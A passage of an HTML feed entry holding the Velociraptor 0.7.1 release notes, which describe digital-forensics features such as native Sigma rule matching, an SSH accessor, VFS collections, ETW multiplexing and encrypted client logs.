src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/post_processing_collections.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Post processing the results of a collection&#34;&#xA;         width=&#34;1182&#34; height=&#34;826&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;post_processing_collections.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Post processing the results of a collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now that I am happy with this query, I want to copy the cell to my&#xA;&lt;code&gt;Admin Notebook&lt;/code&gt; which I created earlier.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/copying_cell.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Copying a cell to a global notebook&#34;&#xA;         width=&#34;1068&#34; height=&#34;454&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;copying_cell.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Copying a cell to a global notebook&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I can then select which &lt;code&gt;Global noteboook&lt;/code&gt; to copy the cell into.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/view_copied_cell.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The copied cell still refers to the old collection&#34;&#xA;         width=&#34;1013&#34; height=&#34;955&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;view_copied_cell.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The copied cell still refers to the old collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor will copy the cell to the target notebook and add VQL&#xA;statements to still refer to the original collection. This allows&#xA;users of the global notebook to further refine the query if needed.&lt;/p&gt;&#xA;&lt;p&gt;This workflow allows better collaboration between users.&lt;/p&gt;&#xA;&lt;h3 id=&#34;vfs-downloads&#34;&gt;VFS Downloads&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s VFS view is an interactive view of the endpoint&amp;rsquo;s&#xA;filesystem. Users can navigate the remote filesystem using a familiar&#xA;tree based navigation and interactively fetch various files from the&#xA;endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Before the 0.7.1 release, the user was able to download and preview&#xA;individual files in the GUI but it was difficult to retrieve multiple&#xA;files downloaded into the VFS.&lt;/p&gt;&#xA;&lt;p&gt;In the 0.7.1 release, there is a new GUI button to initiate a&#xA;collection from the VFS itself. This allows the user to download all&#xA;or only some of the files they had previously interactively downloaded&#xA;into the VFS.&lt;/p&gt;&#xA;&lt;p&gt;For example consider the following screenshot that shows a few files&#xA;downloaded into the VFS.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/vfs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing the VFS&#34;&#xA;         width=&#34;2127&#34; height=&#34;914&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;vfs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing the VFS&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I can initiate a collection from the VFS - This is a server artifact&#xA;(similar to the usual File Finder artifacts) that simply traverses the&#xA;VFS with a glob uploading all files into a single collection.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/vfs_collection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Initiating a VFS collection&#34;&#xA;         width=&#34;649&#34; height=&#34;333&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;vfs_collection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Initiating a VFS collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Using the glob I can choose to retrieve files with a particular&#xA;filename pattern (e.g. only executables) or all files.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/inspect_vfs_collection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Inspecting the VFS collection&#34;&#xA;         width=&#34;579&#34; height=&#34;283&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;inspect_vfs_collection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting the VFS collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Finally, the GUI shows a link to the collected flow where I can inspect&#xA;the files or prepare a download zip just like any other collection.&lt;/p&gt;&#xA;&lt;h2 id=&#34;new-vql-plugins-and-capabilities&#34;&gt;New VQL plugins and capabilities&lt;/h2&gt;&#xA;&lt;p&gt;This release introduces an exciting new capability: &lt;code&gt;Built-in Sigma Support&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;built-in-sigma-support&#34;&gt;Built-in Sigma Support&lt;/h3&gt;&#xA;&lt;p&gt;Sigma is fast emerging as a popular standard for writing and&#xA;distributing detections. Sigma was originally designed as a portable&#xA;notation for multiple backend SIEM products: Detections expressed in&#xA;Sigma rules can be converted (compiled) into a target SIEM query&#xA;language (for example into Elastic queries) to run on the target SIEM.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is not really a SIEM in the sense that we do not usually&#xA;forward all events to a central storage location where large queries&#xA;can run on it. Instead, Velociraptor&amp;rsquo;s philosophy is to bring the&#xA;query to the endpoint itself.&lt;/p&gt;&#xA;&lt;p&gt;In Velociraptor, Sigma rules can directly be used on the endpoint,&#xA;without the need to forward all the events off the system first! This&#xA;makes Sigma a powerful tool for initial triage:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Apply a large number of Sigma rules on the local event log files.&lt;/li&gt;&#xA;&lt;li&gt;Those rules that trigger immediately surface potentially malicious&#xA;activity for further scrutiny.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This can be done quickly and at scale to narrow down on potentially&#xA;interesting hosts during an IR. A great demonstration of this approach&#xA;can be seen in the Video &lt;a href=&#34;https://youtu.be/Q1IoGX--814?si=sRu1o7uAJqezjIwY&amp;amp;t=3858&#34; target=&#34;_blank&#34; &gt;Live Incident Response with&#xA;Velociraptor&lt;/a&gt;&#xA;where Eric Capuano uses the &lt;code&gt;Hayabusa&lt;/code&gt; tool deployed via Velociraptor to&#xA;quickly identify the attack techniques evident on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Previously, we could only apply Sigma rules in Velociraptor by bundling&#xA;the &lt;code&gt;Hayabusa&lt;/code&gt; tool - which presents a curated set of Sigma rules but&#xA;runs locally. In this release Sigma matching is done natively in&#xA;Velociraptor and therefore the &lt;a href=&#34;https://sigma.velocidex.com&#34; target=&#34;_blank&#34; &gt;Velociraptor&#xA;Sigma&lt;/a&gt; project simply curates the same&#xA;rules that &lt;code&gt;Hayabusa&lt;/code&gt; curates but does not require the &lt;code&gt;Hayabusa&lt;/code&gt;&#xA;binary itself.&lt;/p&gt;&#xA;&lt;p&gt;You can read the full &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor/&#34;&gt;Sigma In Velociraptor&lt;/a&gt; blog post that&#xA;describes this feature in great detail, but here I will quickly show&#xA;how it can be used to great effect.&lt;/p&gt;&#xA;&lt;p&gt;First I will import the set of curated Sigma rules from the&#xA;&lt;code&gt;Velociraptor Sigma&lt;/code&gt; project by collecting the&#xA;&lt;code&gt;Server.Import.CuratedSigma&lt;/code&gt; server artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/getting_curated_rules.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Getting the Curated Sigma rules&#34;&#xA;         width=&#34;1114&#34; height=&#34;384&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;getting_curated_rules.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Getting the Curated Sigma rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This will import a new artifact to my system with up to date Sigma&#xA;rules, divided into different &lt;code&gt;Status&lt;/code&gt;, &lt;code&gt;Rule Level&lt;/code&gt; etc. For this&#xA;example I will select the &lt;code&gt;Stable&lt;/code&gt; rules at a &lt;code&gt;Critical Level&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/collecting_sigma_rules.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting sigma rules from the endpoint&#34;&#xA;         width=&#34;1180&#34; height=&#34;577&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;collecting_sigma_rules.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting sigma rules from the endpoint&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After launching the collection, the artifact will return all the&#xA;matching rules and their relevant events. This is a quick artifact&#xA;taking less than a minute on my test system. I immediately see&#xA;interesting hits.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/detecting_critical_rules.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Detecting critical level rules&#34;&#xA;         width=&#34;2013&#34; height=&#34;432&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;detecting_critical_rules.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Detecting critical level rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;using-sigma-rules-for-live-monitoring&#34;&gt;Using Sigma rules for live monitoring&lt;/h3&gt;&#xA;&lt;p&gt;Sigma rules can be used on more than just log files. The Velociraptor&#xA;Sigma project also provides monitoring rules that can be used on live&#xA;systems for real time monitoring.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Velociraptor Hayabusa Live Detection&lt;/code&gt; option in the Curated&#xA;import artifact will import an event monitoring version of the same&#xA;curated Sigma rules. After adding the rule to the client&amp;rsquo;s monitoring&#xA;rules with the GUI, I can receive interesting events for matching&#xA;rules:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/live_sigma_detection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Live detection of Sigma rules&#34;&#xA;         width=&#34;2126&#34; height=&#34;677&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;live_sigma_detection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Live detection of Sigma rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-improvements&#34;&gt;Other improvements&lt;/h2&gt;&#xA;&lt;h3 id=&#34;sshscp-accessor&#34;&gt;SSH/SCP accessor&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor normally runs on the end point and can directly collect&#xA;evidence from the endpoint. However, many devices on the network can&#xA;not install an endpoint agent - either because the operating system is&#xA;not supported (for example embedded versions of Linux) or due to&#xA;policy.&lt;/p&gt;&#xA;&lt;p&gt;When we need to investigate such systems we often can only access them&#xA;by Secure Shell (SSH). In the 0.7.1 release, Velociraptor has an &lt;code&gt;ssh&lt;/code&gt;&#xA;accessor which allows all plugins that normally use the filesystem to&#xA;transparently use SSH instead.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider the &lt;code&gt;glob()&lt;/code&gt; plugin which searches for files.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/glob_over_ssh.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Globing for files over SSH&#34;&#xA;         width=&#34;2015&#34; height=&#34;536&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;glob_over_ssh.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Globing for files over SSH&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can specify that the &lt;code&gt;glob()&lt;/code&gt; uses the &lt;code&gt;ssh&lt;/code&gt; accessor to access the&#xA;remote system. By setting the &lt;code&gt;SSH_CONFIG&lt;/code&gt; VQL variable, the accessor&#xA;is able to use the locally stored private key to be able to&#xA;authenticate with the remote system to access remote files.&lt;/p&gt;&#xA;&lt;p&gt;We can combine this new accessor with the &lt;code&gt;remapping&lt;/code&gt; feature to&#xA;reconfigure the VQL engine to substitute the &lt;code&gt;auto&lt;/code&gt; accessor with the&#xA;&lt;code&gt;ssh&lt;/code&gt; accessor when any plugin attempts to access files. This allows&#xA;us to transparently use the same artifacts that would access files&#xA;locally, but this time will transparently access these files over SSH:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/remapping_ssh.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Remapping the auto accessor with ssh &#34;&#xA;         width=&#34;1089&#34; height=&#34;667&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;remapping_ssh.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Remapping the auto accessor with ssh &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This example shows how to use the SSH accessor to investigate a debian&#xA;system and collect the &lt;code&gt;Linux.Debian.Packages&lt;/code&gt; artifact from it over&#xA;SSH.&lt;/p&gt;&#xA;&lt;h3 id=&#34;distributed-notebook-processing&#34;&gt;Distributed notebook processing&lt;/h3&gt;&#xA;&lt;p&gt;While Velociraptor is very efficient and fast, and can support a large&#xA;number of endpoints connected to the server, many users told us that&#xA;on busy servers, running notebook queries can affect server&#xA;performance. This is because a notebook query can be quite intense&#xA;(e.g. Sorting or Grouping a large data set) and in the default&#xA;configuration the same server is collecting data from clients,&#xA;performing hunts, and also running the notebook queries.&lt;/p&gt;&#xA;&lt;p&gt;This release allows notebook processors to be run in another&#xA;process. In Multi-Frontend configurations (also called Master/Minion&#xA;configurations), the Minion nodes will now offer to perform notebook&#xA;queries away from the master node. This allows this sudden workload to&#xA;be distributed to other nodes in the cluster and improve server and&#xA;GUI performance.&lt;/p&gt;&#xA;&lt;h3 id=&#34;etw-multiplexing&#34;&gt;ETW Multiplexing&lt;/h3&gt;&#xA;&lt;p&gt;Previous support for Event Tracing For Windows (ETW) was&#xA;rudimentary. Each query that called the &lt;code&gt;watch_etw()&lt;/code&gt; plugin to&#xA;receive the event stream from a particular provider created a new ETW&#xA;session. Since the total number of ETW sessions on the system is&#xA;limited to 64, this used precious resources.&lt;/p&gt;&#xA;&lt;p&gt;In 0.7.1 the ETW subsystem was overhauled with the ability to&#xA;multiplex many ETW watchers on top of the same session. The ETW&#xA;sessions are created and destroyed on demand. This allows us to more&#xA;efficiently track many more ETW providers with minimal impact on the&#xA;system.&lt;/p&gt;&#xA;&lt;p&gt;Additionally the &lt;code&gt;etw_sessions()&lt;/code&gt; plugin can show statistics for all&#xA;sessions currently running including the number of dropped events.&lt;/p&gt;&#xA;&lt;h3 id=&#34;artifacts-can-be-hidden-in-the-gui&#34;&gt;Artifacts can be hidden in the GUI&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor comes with a large number of built in artifacts. This can&#xA;be confusing for new users and admins may want to hide artifacts in&#xA;the GUI.&lt;/p&gt;&#xA;&lt;p&gt;You can now hide an artifact from the GUI using the&#xA;&lt;code&gt;artifact_set_metadata()&lt;/code&gt; VQL function. For example the following&#xA;query will hide all artifacts which do not have &lt;code&gt;Linux&lt;/code&gt; in their name.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT *, artifact_set_metadata(hidden=TRUE, name=name)&#xA;FROM artifact_definitions()&#xA;WHERE NOT name =~ &amp;quot;Linux&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Only Linux related artifacts will now be visible in the GUI&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/filtered_artifacts.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Hiding artifacts from the GUI&#34;&#xA;         width=&#34;899&#34; height=&#34;587&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;filtered_artifacts.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Hiding artifacts from the GUI&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;local-encrypted-storage-for-clients&#34;&gt;Local encrypted storage for clients.&lt;/h3&gt;&#xA;&lt;p&gt;It is sometimes useful to write data locally on endpoints instead of&#xA;transferring the data to the server. For example, if the client is not&#xA;connected to the internet for long periods it is useful to write data&#xA;locally. Also useful is to write data in case we want to recover it&#xA;later during an investigation.&lt;/p&gt;&#xA;&lt;p&gt;The downside of writing data locally on the endpoints is that this&#xA;data may be accessed if the endpoint is later compromised. If the data&#xA;contains sensitive information this can be used by an attacker. This&#xA;is also primarily the reason that Velociraptor does not write a log&#xA;file on the endpoint. Unfortunately, this makes it difficult to debug&#xA;issues.&lt;/p&gt;&#xA;&lt;p&gt;The 0.7.1 release introduces a secure local log file format. This&#xA;allows the Velociraptor client to write to the local disk in a secure&#xA;way. Once written the data can only be decrypted by the server.&lt;/p&gt;&#xA;&lt;p&gt;While any data can be written to the encrypted local file, the&#xA;&lt;code&gt;Generic.Client.LocalLogs&lt;/code&gt; artifact allows Velociraptor client logs to&#xA;be written at runtime.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/local_logs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Writing local logs&#34;&#xA;         width=&#34;2032&#34; height=&#34;1019&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;local_logs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Writing local logs&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;To read these locally stored logs I can fetch them using the&#xA;&lt;code&gt;Generic.Client.LocalLogsRetrieve&lt;/code&gt; artifact to retrieve the encrypted&#xA;local file. The file is encrypted using the server&amp;rsquo;s public key and&#xA;can only be decrypted on the server.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/encrypted_local_file.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Inspecting the uploaded encrypted local file&#34;&#xA;         width=&#34;1712&#34; height=&#34;923&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;encrypted_local_file.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting the uploaded encrypted local file&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once on the server, I can decrypt the file using the collection&amp;rsquo;s&#xA;notebook which automatically decrypts the uploaded file.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/decrypting_encrypted_local_file.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Decrypting encrypted local file&#34;&#xA;         width=&#34;1459&#34; height=&#34;977&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;decrypting_encrypted_local_file.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Decrypting encrypted local file&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest release.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Sigma In Velociraptor</title>
